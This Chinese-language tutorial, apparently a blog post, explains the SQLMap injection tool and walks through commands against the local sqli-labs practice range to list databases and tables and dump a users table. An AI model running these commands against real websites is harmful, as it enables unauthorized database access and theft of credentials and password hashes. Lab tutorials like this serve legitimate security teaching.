SQLMap工具使用

一、SQLMap介绍

SQLMap 是一款强大的开源自动化 SQL 注入工具,用于检测和利用 Web 应用程序中的 SQL 注入漏洞。其工作原理是SQLMap 通过向目标 URL 发送带有特殊构造的 SQL 语句的请求,观察目标应用程序的响应,来判断是否存在 SQL 注入漏洞。例如,它会尝试在 URL 参数中添加单引号、注释符号等特殊字符,观察应用程序是否返回异常信息。如果发现存在漏洞,SQLMap 会根据漏洞类型和目标数据库的特点,构造合适的 SQL 注入语句,以获取所需的信息或执行命令。例如,通过联合查询注入,可以将恶意查询与原查询合并,从数据库中获取额外的数据。

SQLMap工具地址:

官方网站:sqlmap: automatic SQL injection and database takeover toolhttps://sqlmap.org/

GitHub项目地址:https://github.com/sqlmapproject/sqlmap

二、SQLMap使用前言

在使用SQLMap这款工具前,需提前安装好python编译工具,本次使用结合sqli-labs-master靶场进行演示

注意:在SQLMap安装目录下使用,如

红色框住部分输入cmd,然后点击回车,进入命令行界面

三、SQLMap基本参数

可输入sqlmap.py --help 或 sqlmap/py -h 进行指令查看

-d 指定直接数据库连接得连接字符串,直接连接到数据库。

-u 指定URL目标

-I 从Burp或WebScarab代理得日志中解析目标

-m 扫描文本文件中给出得多个目标,批量扫描

-r 从文本中加载HTTP请求。 用 * 标记注入位置

-g 将Google Dork得结果作为目标URLh

-a 获取所有信息

-current-user 获取DBMS当前用户

--current-db 获取DBMS当前数据库

--hostname 获取DBMS当前主机名

--is-dba 检测当前用户是否为管理员用户

--users 查询DBMS用户

--passwords 查询DBMS用户密码hash

--dbs 查询DBMS数据库

--tables 查询DBMS数据库中得表

--columns 查询DBMS数据库表得列名

--dump 查询转储DBMS数据库表

--dump-all 转储DBMS所有数据库表

-D db_name 指定要求枚举的DBMS数据库名

-T table_name 指定要枚举得DBMS表

-C column_name 指定要枚举得DBMS列

--batch 从不询问用户输入,使用所有默认配置

常用语法:

复制代码
查看所有数据库:python sqlmap.py -u "url地址/?id=1" --dbs --batch

查看某个数据库所有表名:python sqlmap.py -u "URL地址" -D 数据库名 --tables

查看某个数据库下某张表下所有字段名:python sqlmap.py -u "URL地址" -D 数据库 -T 表名 --columns

四、迈入实践,以sqli-labs-master靶场第一关为例:

1、打开sqli-labs-master中第一关Less-1

2、输入python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --dbs

3、成功获取所有数据库库名

4、获取数据库security下所有的表名

python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security --tables

5、获取数据库security下users表名下所有字段名

python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security -T users --columns

6、获取数据库security下users表名下所有字段名的数据

python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security -T users --dump

注:--dump命令请谨慎使用,切勿违法使用,使用--dump参数后,将会在计算机本地生成一个.csv表格数据存储,里面包含某个数据库某张表下所有字段的具体内容

五、拓展使用,以sqli-labs-master靶场为例子:

查询当前数据库:python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --current-db

查询当前数据库用户:python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --current-user

查询当前数据库版本信息:python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -banner

那么SQLMap这款工具简单介绍这里,SQLMap工具十分强大,以上只是部分用法,更多详细用法可结合官方操作文档去使用。

相关推荐
科技象限33 分钟前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神
砚凝霜43 分钟前
【软考信息安全】第十六章 网络安全风险评估项目流程与应用
网络·安全·web安全
sbjdhjd2 小时前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
悟道子HD4 小时前
网络安全基本功——MySQL基础
android·mysql·web安全
sbjdhjd18 小时前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
Hum8le1 天前
CTF题目《easy_web》(安洵杯 2019 变种 Web)
前端·安全·web安全
Dachui_11221 天前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单
HackTwoHub1 天前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
梦帮科技1 天前
【3.0】上线与运维:节点监控、水龙头、区块浏览器与安全清单
运维·安全·web安全·金融·区块链·密码学·安全架构
菩提小狗1 天前
每日安全情报报告 · 2026-10-09
网络安全·漏洞·cve·安全情报·每日安全